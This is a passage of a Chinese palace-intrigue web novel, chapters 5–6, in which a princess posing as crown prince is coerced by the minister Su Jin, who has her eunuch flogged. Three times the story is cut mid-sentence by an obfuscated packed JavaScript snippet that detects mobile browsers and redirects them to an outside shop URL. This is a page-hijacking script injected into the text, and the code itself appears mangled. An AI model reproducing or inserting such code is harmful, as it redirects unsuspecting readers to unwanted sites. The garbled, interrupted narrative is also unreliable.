威震三军的年轻阁臣似乎敛着一丝冷笑：“他是神机营中内臣，今日传我手书至午门，的确是依我吩咐转移原少师遗骸。军中事务繁杂，一时忘了加印，唯恐钦差误会，苏某这才抛下军务前来解释。” 此话入耳，锦衣首领如遭迎面掌掴，瞬间涨红了脸，不知所措：“秦王殿下严令，不准任何人替原泰收尸。苏尚书此命，令下官们惶恐……” 苏觐反问：“李佥事只是略赏薄面，带校尉们到值房饮了苏某两盏茶。至于尸首如何不翼而飞，即使秦王殿下问责，也是苏某一力承担，和诸位能有什么关系？” 锦衣首领讷讷无言，垂头丧气，哪还敢顶嘴半句。众锦衣卫面面相觑，无地自容，又不敢轻举妄动。 苏觐也懒得搭理他们，转身面向宦官打扮的太子，神色疏离如常：“中贵人还不去抬人，是需要在下搭把手？” 其声舒缓如山涧漱玉，又若此砭骨秋寒一般料峭。 乔鹤练茫然抬头，与苏觐对视。 此人气质冷峻，表情淡漠，此刻微微颔首，垂望着她，饶是端详，却更像睥睨。 他的倨傲，是与霸者风骨浑然一体的矜重孤高，截然有别于众生中妄自尊大者的卖弄炫耀。 苏觐今日未着官袍，穿一领白布长衫，外罩象牙色细麻褡护，戴竹编大帽，是素服打扮。 装束至简至朴，愈发衬出主人相貌的绝尘拔俗。 肤皙如璧，眉修如剑，眼眸湛然若皓月洗空，泽布千里。其优越骨相，清俊容颜，不似世间绝色，而是惊艳如宝殿壁画里的神仙。 可莽原风刀霜剑，处处弱肉强食，遍地伤亡枕藉，哪来什么渊清玉絜的谪仙？ 此人空有神仪明秀的美貌，内里是怎样一个凶神恶煞，乔鹤练再清楚不过。 传闻苏觐治军极严，违反军纪之人，不论情节轻重，下场皆是生不如死。与他作对之人落入他手，无不哭天抢地，撞头求死——无人想试遍残忍酷刑后，被塞入炮膛挫骨扬灰。 近年来，抨击北伐的朝臣，要么在狱中受尽折磨而死，要么牵连满门，抄斩流放。 只欲推行仁政、与民休息的一朝天子，也被昔日臣僚的狱中惨状吓得一病不起，自此不问政事。 对于这位道不同不相为谋的政敌，乔鹤练只匆匆一瞥，便立刻移开了目光。 她此刻无心揣摩苏觐替她解围的用意，只是展开素绸，蹲下身子，覆盖住恩师遍体鳞伤的躯壳。 行简上前来，帮着她把人抬上木车。 苏觐始终冷眼旁观。 行简本想从女君手里接过车把，瞄了眼她凝重的神情，又缩回了手。 乔鹤练甩下披坚执锐的锦衣官兵，默默推车离开午门。行简在她身侧亦步亦趋，苏觐悄无声息跟随其后。 出了西华门，眼前是宽阔静谧的护城河。西上南门前停着两辆马车，车前立着一个蓝袍纱帽的青年官员。 竟是亲自在此接应她的卢允恭。 乔鹤练止步不前。 深秋长空，万里无云，她与芝兰玉树的年轻探花，在重檐金瓦的城墙间遥遥相望。 他衣袂微动，似在无声呼唤她。 可她本就不欲牵扯卢允恭涉险，如果来日秦王问罪，她没有底气护他十分周全。 她无法同他会面。 另一侧西上北门前，也停着一辆马车。车旁停驻一匹高昂骏马，棕红皮毛油光水滑，马鬃马尾飘扬如流云。马儿蓦然回首，黝黑幽邃的眼珠里，饱含深不见底的沧桑与忧郁。 那是久经厮杀的战马的眼神。 看来苏觐亦有备而来，是诚心想让原少师入土为安。豺狼虎兕，倒也算良心未泯。 秦王那边，天塌下来，若能砸死苏觐，乔鹤练做梦都要笑醒。 她下定决心，便唤行简上前：“你告诉卢哥哥，说我一切无碍，出宫一趟。你二人先回去。” 一听此话，行简急了：“奴婢不能放任千岁一人出宫！” 女君斥责他：“什么一人？你骂苏尚书不是人？掌嘴。” 行简欲哭无泪，若千岁当真一人出宫，他反倒放心，可女君竟要单独与苏觐同行，他如何能不提心吊胆！ 万岁爷已抱病行宫，万一苏觐受了秦王的指使，在什么犄角旮旯里把千岁也谋害了，那可就天塌了！ 想到这里，他愈发如坐针毡，又不知如何规劝，真想抡起大耳刮子抽自己。 可女君握住了他的手腕，将他往卢允恭那边推去。 苏觐似乎轻哂了一声，掠过二人走向车旁那匹战马。他一手执鞭，一手攥紧缰绳，行云流水般翻身上马。 乔鹤练推车靠近，他仍安然稳坐，居高临下道：“原少师生前便不喜苏某，在下无意亵渎，不敢触碰他的遗体。烦请中贵人送少师入轿。” 乔鹤练上前掀起马车轿帘，才发现轿厢竟是一口柏木棺材，轿顶四面垂下青帐，将棺木遮得还算严实。 在车夫协助下支起了棺盖，她将恩师横抱起来，正如初见那日，恩师在文华殿前抱起她一样。 * 马车缓缓驶出长街。 苏觐单独骑马在旁，目不斜视：“方位。” “城西南。”乔鹤练与车夫一左一右坐在车前，“许监正家。” 原泰发妻早逝，再无续娶，独女几年前嫁给上林苑许监正。乔鹤练本意是把尸首交给原娘子，让她托娘家可靠的亲戚立刻送出顺天。 可到了许府门前，苏觐却没有将棺木卸下马车的意思，只让原娘子和许监正出门会见。 面对哀哀欲绝的夫妇和掩面哽咽的太子，他脸上不见恻隐或悲色，只有沉重的肃穆。 “生者无恙，逝者方息。少师梓宫，还是由在下扶灵至神机营，运往京郊安葬吧。”从头至尾，苏觐只说了这一句话。 马车驱离许府，继续南行，一路穿街过巷，离皇城越来越远。 将至十几里外的永定门，车旁骑马之人悠悠开口：“中贵人不回东宫，是欲去往何处？神机营万事粗陋，供奉不起内廷贵使的起居。” 乔鹤练始料未及：“既不许我去，苏尚书为何不早说！” “某在许府时说过，掘土造坟之事在下自有安排，”苏觐扯缰驻马，淡淡道，“并不知中贵人有何贵干，仍要同行。” 得体措辞下，分明尽是对她假冒宦官的嘲讽。 乔鹤练一时愤怒耳热，但无计可施，只得忍气吞声，待车夫将马车停稳后纵身跳下。 鞋底沾地，脚下通衢广陌，眼前车水马龙，她只觉悲从中来，万般凄楚。这样暄暖的日光，这般热闹的市井，恩师竟再也感受不到了。 一滴泪水又从眶中涌出，在朔风中坠落，却并未砸向尘土，而是平稳掉入一人掌心。 那人衣袂携着若有若无的零陵香，素洁袖口层叠于腕间，手掌摊开在她面前。微拢的五指修长利落，骨节亦轮廓分明。 年轻权臣的手，如此文雅标致，仿佛生来为了执笔持笏，拟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530970|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写四海升平。 可票纸墨书之下，却是血流成河，一将功成万骨枯①。 乔鹤练眼前犹笼薄雾，并不知苏觐何时也下了马，此刻从容地站在她面前。 他接住了她的眼泪，如珠玉一般捧于手心，全神贯注，半晌不动，像在鉴赏什么奇珍异宝。 苏觐始终保持这姿势，片刻后道：“臣的手书，请太子殿下归还。” 乔鹤练才发觉这是索要的姿态。 她用衣袖擦了把脸，反驳道：“手书怎么就成苏尚书的了？” 苏觐盯着她：“殿下金口玉言，咬定是臣亲笔所写，如今理应物归原主。” 乔鹤练鲜少和这人靠得如此之近，他身上无形的威压令她下意识后退一步。 苏觐扬了扬唇角，眸中却并无笑意：“先礼后兵，臣不想用当街搜身的举动，辱没了殿下的斯文。” 不怒自威的要挟，令她顿时寒毛直竖。 一页破纸，要缴便缴吧！ 乔鹤练无语至极，立刻从衣襟里拽出那张发皱的纸，摔到了苏觐手中。 * 黄华坊，蝉楼。 此乃顺天府达官显贵最爱光顾的清雅之地。 楼外是鎏金嵌乌木的匾额，灯笼纹香楠格扇。堂内则珠帘薄缦，茶烟袅袅，雅间内不时飘出琴音笙歌。 乔鹤练潜入对外封闭的杂货间，沿着狭长走道左拐右绕，至尽头扭动机关，开启一间密室。 房中无人，她伸手探向墙上字画掩盖的暗格，可还未摸到密报，便凭敏锐的听觉捕捉到屋外窸窣的脚步声。 不妙。但已来不及撤离了。 无暇思索，她立刻扑向墙角多宝格边的立柜，一把拉开柜门钻了进去。 柜门合拢的瞬间，密室门再度开启，屋内响起两个青年女子的胡语交谈声。 乔鹤练年幼时学过胡语，听懂无碍。 她被逼仄的黑暗缠裹，蜷缩于柜中，密切监听着柜门外的动静。 其中一女道：“阮娘子究竟经历过什么，才对黎廷怀有此等深仇大恨？” 唤作阮娘子的女子用纯正胡语道：“黎廷年年加派赋税，强征民夫，弄得边关乌烟瘴气，黎民怨声载道，我的生意也常遭官府欺压。” 她顿了顿，咬牙道：“更可恨的是，黎廷太子强抢民女，他掳走家妹百般强迫，厌倦后又将她充军为奴。我妹妹至今身陷泥淖，我恨不能将那畜生千刀万剐。” 巴雅尔听得皱眉。 身为来自草原上的喀兀公主，她实在无法想象，黎廷太子不仅碌碌无能，还很荒淫无道。黎廷让这样的草包身居储位，真是滑天下之大稽。 若黎廷只剩这种货色，喀兀一族必将自漠北草原南下，重续前朝荣光，再度主宰中原。 巴雅尔面露同情，随口许诺：“待来日我喀兀复国，必许阮娘子喀兀贵族的尊荣，自然比那些低等黎民高贵许多，不会再受任何欺侮。” 话音刚落，阮娘子起身行了个胡礼，感激涕零：“苍天庇佑，愿别吉霸业早成。” 巴雅尔只略一摆手。 她环视着屋内陈设，目光锁定在墙角的高大立柜上。她的指尖已在腰间刀鞘的镶宝纹饰上摩挲了许久。 藏身柜内的乔鹤练屏息凝神，却听胡女突然用大黎官话道：“阮娘子的博古架上真是琳琅满目。这个柜子很像古董，里面装的也是珍玩？” 她的中原官话和胡语一样流利，几乎没有喀兀口音。 沉默半晌，阮娘子道：“不值钱，一些陈年旧物而已。” “看来阮娘子还私藏了不舍得示人的宝贝。”胡女诙谐似开玩笑。 可她旋即挎刀而起，快步行至柜前，二话不说，猛地拽开了柜门。 5. 公开处刑 柜门大敞，里头空空荡荡，只有角落摞了几件叠得仔细整齐的旧衣。 “是家妹幼时裙衫，每每睹物思人，痛彻心扉，又不忍丢弃，故而藏入此柜。”阮蝉嗓音沙哑，神色哀戚。 喀兀贵女低低道了声抱歉，转身退出了密室。 确认人已走远，阮蝉才将手探入柜中机关，轻轻一触。 只见立柜靠墙的内壁无声开启，一个人影从墙中夹层里摔了出来。 阮蝉呵地抚掌：“我以为巴雅尔这回要性命不保，我这差事也不用当了。” 夹层中灰尘极大，稍不屏气便灌满鼻腔肺腑，呛得人几欲窒息。乔鹤练差点没憋过去，扑在几前连咳带喘：“……她是谁？” “和你一样，高贵的公主殿下。”阮蝉贴心地递上暖茶，哄孩子般轻拍她后背。 清香扑鼻，甘润茶水入口，乔鹤练这才缓过劲来。 她面前的女子容貌美艳，年纪约莫二十四五，绢衫绸裙，金钗玉环，一副富贵市井娘子打扮，正是蝉楼的幕后掌柜。 也是她安插在北直隶喀兀细作中的暗探。 自开国以来，漠北边境便有喀兀细作兴风作浪。这些细作隐匿民间，刺探大黎情报，有时还敲诈商户，残害百姓。朝廷屡剿不尽，如今竟从边境渗透到了京师所在的北直隶内。 阮蝉长袖善舞，于江湖市井间如鱼得水。她精通机关暗器，武功高强，少年时曾浪迹漠北，与无数喀兀人打过交道。 作为乔鹤练在宫外的重要耳目，她常将密报置于蝉楼密室的暗格中，乔鹤练不时来取，谁料今日喀兀公主突袭，两位贵主险些迎面撞上。 “她当真是喀兀的公主？”乔鹤练讶异金枝玉叶竟亲自到敌国当细作，“阮掌柜不会阴我吧？” “我好比那宫里的嬷嬷，每天费尽心思伺候些疑神疑鬼的公主。”阮蝉勉强一笑，“要不我现在去把巴雅尔绑回来，殿下当面盘问她？” 乔鹤练哼了一声。她只是率性斗个嘴，谁让这厮刚才骂大黎骂她骂得那么难听。以她对阮蝉的了解，此人绝不会背主叛国。 她这才认真：“这段时间的潜伏没有白费，你再接再厉。” 只有挖出喀兀细作完整的架构名单，才能彻底粉碎喀兀在大黎的情报组织。但若想不打草惊蛇地铲除干净，则缺一个能将他们一网打尽的良机。 除了喀兀细作之事有进展外，蝉楼匿名人士亦探得不少新鲜情报，或关于朝臣动向，或关于勋贵隐私，乔鹤练和阮蝉密谈至后半夜。 宫门早就下钥，她索性宿在了蝉楼，待翌日上午再返回东宫。 明早文华殿的讲读也懒得去了，行简见她没回来，自会去跟讲读官们打招呼，仍旧让尚膳监备馔，大家吃完午饭散衙了就是。 * 日上三竿。 乔鹤练是被阮蝉强行摇醒的。近来连日梦魇，又逢变故打击，难得一夜酣眠。 她迷迷糊糊半睁开眼，任凭阮蝉手忙脚乱地往她身上套衣裳。 “祖宗，快回你那东宫吧，坊间来了不少宦官模样的人，正四处寻人，我一看就知是来找你的。” 乔鹤练瞬间清醒，她收拾好后冲入街头，没跑几条路，便被人逮住不由分说塞进了马车。 这些人身着士庶衣冠，面白无须，乍眼望去都很脸熟，全是内廷十二监的太监。 大事不妙。 乔鹤练头皮发麻，连唾沫都咽不动了，心悬在半空，随着马车毫无章法地颠簸了一路。 回到东宫，她立刻被这班太监“请”到了文华殿，殿中阵仗惊得她几乎当场昏厥。 往日门可罗雀的大殿阵列了许多文武，仿佛在召开朝会，却被鸦雀无声的寂静所统摄，压抑恐怖不啻森罗宝殿。 她唇齿打颤，后脊发凉，茫然扫视过殿内噤若寒蝉的众人。 锦衣卫校尉、司礼监内臣、都察院御史，还有当值的讲读官员……全都敛容屏气，神情严肃。 阶下则跪伏着几个内臣，皆战战兢兢俯首贴地，领头的正是行简。 阶上宝座旁的书案后，端立着一个身着鹤补绯袍的青年官员。其衣冠楚楚，俊美神秀，脸色冷如霜雪，除了苏觐还能是谁！ 见太子入殿，苏觐无动于衷，半晌才沉声开口：“段奉御还有什么要说的？” 行简汗出如浆，把头反复磕在地上，语无伦次：“没有，不是……奴婢有罪，奴婢知罪……” 他无论如何也想不到，千岁昨日出宫至今晨未回，自己只是照例到文华殿，替太子向当班的讲读官们告假。说辞和平日一样，不外乎千岁身体抱恙，在寝殿休养，晌午仍有赐饭，各位先生自便。 可话音未落，他一回头，竟见苏觐悄然站在他身后！那一刻岂止胆裂魂飞，他恨不能找面墙当场撞死。 听了行简的请罪，苏觐露出首肯的微笑。他随即淡漠道：“那就带出去杖毙。” 此言一出，乔鹤练如遭五雷轰顶，手脚都被劈得僵直麻木。 她眼瞅着司礼监的掌刑内臣应声而上，把行简从地上薅起，径直架着就往殿外拖。 “住手！”神智如被困兽撕咬着，她大嚷，“谁敢动本宫的人！” 这厉声叱问将那几人唬得愣住，他们见苏觐并未发话，便不敢再动。 帽沿沁满冷汗绷在额头，乔鹤练骑虎难下，心慌意乱到了极点。她知自己再怎么暴跳如雷，也终究要败阵跌落。 她只能用愤恨掩盖恐惧，瞪向阶上，眼中似要喷火：“苏大人这是要干什么？” 那人俯望着她，目光冷静得吓人，连一丝情绪都不见。宛如鏖战过后波涛不兴的夜海，顷刻间便吞噬掉她的怒火。 “殿下夜不归宫、日不就学，连文华殿讲读都借口逃避，想必是身边奸佞挑唆。典玺局正六品奉御段行简，借东宫近侍之便蛊惑储君，媚上欺下图谋不轨。臣为太子殿下清君侧。” “这是文华殿，不是兵部，不是内阁！本宫的事自有詹事府料理，何需苏大人越俎代庖！” 乔鹤练走投无路，只剩下虚张声势，拖延时间。 “殿下稍安勿躁。臣奉王命辅导殿下，不得不过问东宫之事。”苏觐缓缓道，“现今詹事府的差事是谁管着？” “禀少保，是左春坊大学士卢允恭。”旁人回。 “人呢？” “卢学士今日休沐，大概去沙河了……” “去找。叫他立刻过来回话。” 听到这里，情况了然，尘埃彻底落定，乔鹤练的手在袖中攥成拳，骨节用力到泛白。 王师刚自辽东凯旋，此役大获全胜，少不了苏觐的劳苦功高。他本是正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530971|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二品尚书，政绩战功皆硕果累累，论赏仅加少保衔，官进半阶，位列三孤之末，实在赏不当功，只因他太过年轻。 如今内阁首辅空置，加此官衔，无疑意味着他将担起内阁重任，自此一人之下万人之上。 而王命还令他约束东宫，教导储君。 他今日一大早至文华殿，差人将她从宫外抓回，又召集各个衙门的人，大动干戈要打要杀，显然是来给她下马威的。 父皇说得分毫不差，秦王为了挟制她，无所不用其极，果然派出了最不好惹的苏觐。 乔鹤练咬紧牙关，好啊，好啊，如此心狠手辣的歹人，也配为人师表吗！ “卢翰林的账，等他来了再算。”苏觐冷言，“先把这个宦官拖下去，重杖处死，你们没听见？” 司礼监的人闻声一哆嗦，赶紧扳着行简的胳膊把他继续往殿外扯。 行简已吓得半死不活。他脸色惨白，四肢瘫软，如被剔骨抽筋了一般，连扑腾的动静都没有了。 乔鹤练急得追出殿外，见行简头套着麻袋，被人粗暴地用脚踹翻在地，面朝石砖伏倒，因吃了满口鼻的土而剧烈咳呛。 余光瞄到司礼监刑官手中的重棍，只一眼，她便晕眩如天塌地陷。脏腑翻搅不已，酸意灼烧咽喉，原少师死时惨状如临眼前，她顿时踉跄欲倒。 她恨透了这些恶心的酷刑，却如此无能为力。切肤之痛如钝刀割肉，疼得她撕心裂肺，五内如焚，不管不顾地扑上前护在行简身上。 行简含混的呜咽掉在地上，她努力侧耳才听着：“千岁，走……不要为一个奴才，折了身子……” 乔鹤练仰头，约莫能瞧见殿前那人微动的袍摆和停驻的皂靴。她颤抖着搂紧行简肩膀，扬声威胁：“话是本宫教他说的，你们想打死他，就先打死本宫！” “这东宫还有体统可言？”一声含笑的揶揄从头顶飘下，语气促狭。 她的胳膊随即被一股强悍力道掰开，整个人也被揪着后领猛地拎起。 身体骤然腾空，有人从背后反抱着她退回台阶上，将她硬生生往殿前掳去。 她的肩胛骨被那人蛮横的桎梏箍得生疼，双脚也因一路的无谓挣扎，在砖地上磕得知觉尽无。 虽未回头，她已知拿住她的人是寻戈，常年跟随苏觐身边的那个刀客，年纪只大她两三岁，武艺高深莫测，为京师三大营中勇士教习。 她勉强抬眸，方才声音的主人亦映入眼帘。红袍乌纱，年轻俊朗的脸孔，似笑非笑地睨视着她。 “太子殿下，臣这位兄弟是个侠客，不识礼节，更不懂事君之道，一旦出手，难免侍候不周。臣奉劝殿下谨言慎行，不要自讨苦吃。” 温热的泪水顺着颊边滑落，淌入衣领后变得冰凉，乔鹤练对无力回天的绝望有了实感，她将屈辱和眼泪一并吞下： “岑御史，我知你和苏先生情义深厚，你的话在他面前是最有分量的，我求求你，帮我向他求个情，饶行简不死，这份恩德我必谨记……” “殿下太会说笑了。”岑典幸灾乐祸地嘲笑道，“臣若去求情，岂非把臣自己的命也搭进去，殿下赔得起吗？” 行至殿门外，强硬控制着她的少年刀客终于松手，将她放下。 她无助站稳，忽听岑典又道：“不过，臣愿给殿下出个主意。” 6. 服软 “求人不如求己，殿下不是蠢人，那种话不至于要臣逐字逐句教吧？”岑典哂笑一声，故作深沉。 “行简公公还在苦等殿下相救，殿下，人命关天，刻不容缓呐。” 此时，阶下棍击的闷响声起，伴着受者堵在舌根的呼号。 乔鹤练耳朵里嗡的炸开，她慌不择路地冲回殿中，直奔苏觐所立之处，飞快地道： “我是什么德行的人，苏先生还不清楚吗？今日之事都是我的错，求先生息怒，饶恕行简！” 她当真被这群歹人气傻吓疯，晕头转向了，忘了自己最擅长的正是认怂耍赖。 见他缄口不语，她腆着脸上前攥住他衣袖：“众晚辈里伯父最眷爱先生，伯母也那般疼惜我，即便不顾及桃李，也恳请兄长念在手足，宽宥我吧！” 殿中文武迫于威慑而沉默，却都在心里暗笑太子的丑态。方才那么猖狂地放狠话，转眼间竟如此低三下四，果然是个顽劣窝囊的绣花枕头。 更好笑的是，这草包死到临头不嘴硬了，倒好意思搬出秦王，甚至搬出苏觐母亲秦王妃攀亲托熟起来，世上怎会有这么厚颜无耻的国储？ 面对太子的变脸趋奉，苏觐任由拉扯，既不答应，也不摆脱，漠然如置身事外。 乔鹤练最不在乎的就是颜面，只要他消受得起，什么样的软是她服不得的？她当即扑通跪倒在地，抓着苏觐的袍摆揉作手帕，声泪俱下地抹起脸来。 “行简从小就跟着我，今日若受我拖累丢了性命，那我还怎么活，苏哥哥总不能看着我去死吧……” 官员们瞠目不已，简直惊掉下巴。虽说太子的荒诞不经是出了名的，但为了一个有罪的宦官，这般要死要活地哭闹，还在大庭广众之下向臣子屈膝乞怜，这成何体统啊！ 好在军师出身的苏少保见怪不怪，沉着如坐镇帷幄。他伸手揽过太子的衣襟，陡然将其从地上拽提起来，如同捉起一只难驯却脆弱的羔羊。 双脚悬空的刹那，乔鹤练懵了。 科举入仕的苏觐，不通武艺，走的是正儿八经的文官路子。可他居然如此大力，轻轻松松便将她整个人拎了起来。 苏觐亦微讶一瞬。太子个头不矮，也非弱不禁风的体格，竟是比预料中轻不少。 轻飘飘的人，仿佛骨头是用春絮填的，这是少年郎君该有的重量么。 他臂弯随之扯痛，伤口黏着纱布的薄痂撕裂开来，能明显感到鲜血涌出，逐渐往衣袍间渗透。 乔鹤练被那道稳健的力量所挟持，伴随他松手，不偏不倚地跌坐进身旁一张圈椅里，摔得腰腿好一阵钝痛。 痛感未触筋骨，似隐晦的警告，还带了点微妙的报复。 “坐好。” 苏觐双手分握圈椅扶手，面无表情地朝她俯身，垂下的眸光分量极重，压得她难以抬头。 “殿下安分守己，这些人或可免于一死。若再肆意妄为，臣会让殿下见识一下，什么叫求生不得，求死不能。” 此时殿外来报，卢学士到了。 乔鹤练瘫在椅中，欲哭无泪，那边行简生死未卜，这头心再度吊到了嗓子眼。 苏觐直起身，瞥了眼匆匆入殿的年轻探花。 “卢学士是从沙河过来的？”他看似随口闲聊，“今日公务叨扰，劳烦你明日再行休沐了。” 临时赶来的卢允恭未来得及换官袍，仕子燕居的便服低调典雅，与之如珪如璋的气质相得益彰。 这便是贞定重臣越国公的嫡长孙，弱冠之年探花及第，出身高贵，怀瑾握瑜，兼为天子心腹与东宫股肱。 苏觐过去常赴京外巡抚，同太子并不相熟，与东宫属官未曾打过交道。但，没有交道，不意味着没有龃龉，没有私怨。 十四年前，他随母自边关入京，第一次来到顺天府，进入这座瑰丽壮观的皇城。 拜见过先帝先后，母亲留下说话，他则由内官监的太监陪同，沿着护城河漫无目的地徘徊。 那年是盛夏，薰风蝉鸣的时令，太液池的荷花鲜艳盛放。 一个梳双环发髻，着罗纱衫裙的小女娘在汉白玉拱桥上凭栏，左手擎一片刚摘的莲瓣，右手执笔，正聚精会神地往花瓣上写字。 她看上去不过四五岁，已是倾国倾城的姝色。无比聪明灵秀，又着粉衫碧裙，宛若水宫仙子玉立，衬得满池芙蕖黯然失色。 他在桥边望得愣了神，耳垂有些烫，身旁太监告诉他，这是先帝的孙女，东宫之女陈留郡主。 他立刻回想起兴安岭大捷那日，先帝激动得一把将他揽上御鞍，带着他在广袤无垠的草原上纵马飞驰。 日落平川，天地寥廓。 野风在耳旁呼啸，他听见先帝赞他智谋，夸他有功，大笑道，好孩子，好样的，长大了做我孙女婿吧！ 那些话，当时他并没有多在意。 如今亲眼见了这女娘，他突然开了窍，心中涟漪荡漾，似这盎然夏日的荷塘一般，风生，水起。 可紧接着，他又从太监口中得知，陈留郡主早已有婚约在身，对方是越国公府卢氏嫡长孙。 心瞬时坠入湖底，又似被五毒啃钻。 苏觐对卢允恭的反感，正是从那时候开始的。 “不必了。不知苏少保今日驾临文华殿，是下官有失远迎。”卢允恭回敬。 苏觐便保持虚假客气：“东宫庶务、太子课业，苏某皆不熟悉，初来乍到，只好向卢学士一一请教。” 乔鹤练听得脑瓜嗡嗡的，掌心捏着一把汗，衣衫后背几乎要湿透了。抬眼却见卢允恭温柔注视着她，用眼神告诉她无碍。 他神色平宁，目中安抚之意如春水碧浪，涤荡去她身上焦躁的浮尘。 只见都察院的人抱来一大堆案牍，一看便知是从詹事府抽调的文书。御史们将案牍分发照刷，搜寻纰漏，似猎食的鹰隼般势在必得。 这一道御史以岑典马首是瞻，最擅勘验文书谬误，眼光毒辣，角度刁钻，纸笔喉舌之间，不知令多少朝廷命官身陷囹圄。 苏觐也不闲着，让人把太子过往的功课拣选出来，亲自将讲章、仿书、作文一一翻看，专挑年月久远的细节追问卢允恭。 这哪里是请教，分明是找茬挑刺，非要给卢允恭也安个罪名才肯罢休！ 和歹人比不要脸，乔鹤练自愧不如，不得不甘拜下风。 幸好，比起行简，卢允恭要从容得多。 他的祖父毕竟是先帝情同手足的重臣，为先帝基业立下汗马功劳，后又捐躯沙场。而卢父承袭爵位后，更加谨慎为官，从不介入朝政纷争，也不在秦王和天子之间站队。 若无公然悖逆，秦王都很难擅动卢氏子孙，乔鹤练料定，无论今日是否查出罪状，苏觐不敢对卢允恭用刑。 而面对刁难，卢允恭不恼不怵，将这些胡编乱造的课业记录对答如流，竟没有不谙熟之事。 他对她的荒唐伪装和她本身，皆如数家珍。 心速稍缓，呼吸逐渐放平，乔鹤练将肩颈靠在椅背上。 半晌过去，没问出任何破绽，苏觐并不意外，只淡淡道了声谢。 他见那班御史翻完了詹事府所有文书，俱颓然愣坐，闷头不语，果然也一无所获。 岑典从那堆人中间蹑手蹑脚地跨了出来，扯出局促的笑，附在他耳边私语了几句。 他听完点头，摆手让岑典下去了。 这东宫，和他料想中一样离经叛道，也一样滴水不漏。 殿外许久未闻动静，少顷，一戎装少年不动声色地迈了进来。 苏觐问他：“外头那个断气了？” “晕过去了，”寻戈道，“司礼监让我来问主公，是直接打死，还是泼醒了继续行刑？” 苏觐没有回答寻戈，只平静望向卢允恭：“东宫的近侍内臣狡黠刁滑，撺掇太子荒怠学业。卢学士清贵正直，认为此人当不当诛？” 乔鹤练实在替行简冤枉，崩溃道：“都说了此事和行简无关！是我……” 守于椅旁的权臣只微抬手腕，中指骨节嗒地叩在圈椅扶手上，敲得她毛骨悚然，将后半截话咽了回去。 卢允恭刚要开口，苏觐却打断他：“卢学士兢兢业业，辅佐东宫多年，教出来的太子如此不务正业、胡搅蛮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530972|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠，偏宠佞臣宦官，实在令人费解。” 听到这里，乔鹤练气得愈发头昏脑胀。苏觐就是要借机向她兴师问罪，拿她身边之人逐个开刀，令东宫官员人人自危，在他权柄之下瑟瑟发抖。 何止行简祸从天降，卢允恭更是无妄之灾。 她亦欲起身揽责，奈何四肢脱力、口干舌燥，头也疼得厉害，竟说不出一个字。 只听卢允恭坦然作答：“段奉御有过，但罪不至死。未能督促殿下勤勉，规劝殿下修身，是下官失职。今日之事，错在下官一人，都察院尽可弹劾。下官听凭考功司发落就是。” 未等苏觐发话，岑典已自觉三步并做二步靠上前去，揣手恭听。 “弹章，就按卢学士原话写吧。”年轻首辅的吩咐不紧不慢，好似商榷，“告知吏部，罚俸一年，卢学士可有异议？” “没有。”东宫翰林笑了笑。 至此，闹剧暂且了结，内臣外官们依命散去，昏迷的行简被遣送安乐堂。 见卢允恭伫立不动，目光片刻不离太子，于无声中予之宽慰，苏觐感到一种怪异的烦躁。 一贯冷静自持的他，对这种烧心的无名火实在陌生，懒得再装半句客套。 “你也滚出去。”他指着殿门对卢允恭道。 卢允恭看他一眼，没动。 “寻戈！”苏觐不废话，径直喊人。 乔鹤练唯恐卢允恭为寻戈所伤，赶忙道：“卢哥哥先走，帮我到太医院请人去看看行简。” 卢允恭这才与寻戈一道退出殿外。 偌大的文华殿只剩下两人。 太子拢膝坐在圈椅里，眉目绮丽，粉妆玉砌，宛如一座精美神像。却眸光黯淡，薄唇紧抿，满脸不好相与的愠意。 权臣并不侧目，兀自在桌案前有一搭没一搭地掀弄那些仿书字帖。泛黄的纸页卷着陈年旧墨，如迷梦般在他指间翻飞。 在这片安之若素的沙沙声里，乔鹤练失了耐性，握着拳愤然起立，欲扬长而去。 谁知鞋子刚踩稳地面，凛冽的质问劈头而下：“臣允许殿下起来了么？” 乔鹤练震惊。 她鲜少被人厉声诃责。即便秦王当政，储君之位空有名头，但她依然是千金之子，天潢贵胄，除了天子和宗室长辈，谁敢用这种语气对她摆谱？ 她一时呼吸不畅，头愈发昏沉，腿一软直直跌坐了回去。 在窒息般的沉默中，她与他僵持良久。身下圈椅由梨木所制，未设软垫，冷硬硌骨，冗长不变的坐姿令她腰酸腿麻，实在是坐不住了。 她此刻才意识到自己也在被折磨，只未用言语挑明而已。 这醒悟令她也再次怒火横生，她生性本就骄纵，从未真心屈服过任何人，此刻彻底没了演戏的耐心。 她腾地又站起来：“既然无事，我们还耗在这里干什么？本宫要回去歇着了。” 那人垂手将字帖纸掷回桌上，冷冷地睨着她：“坐下。” 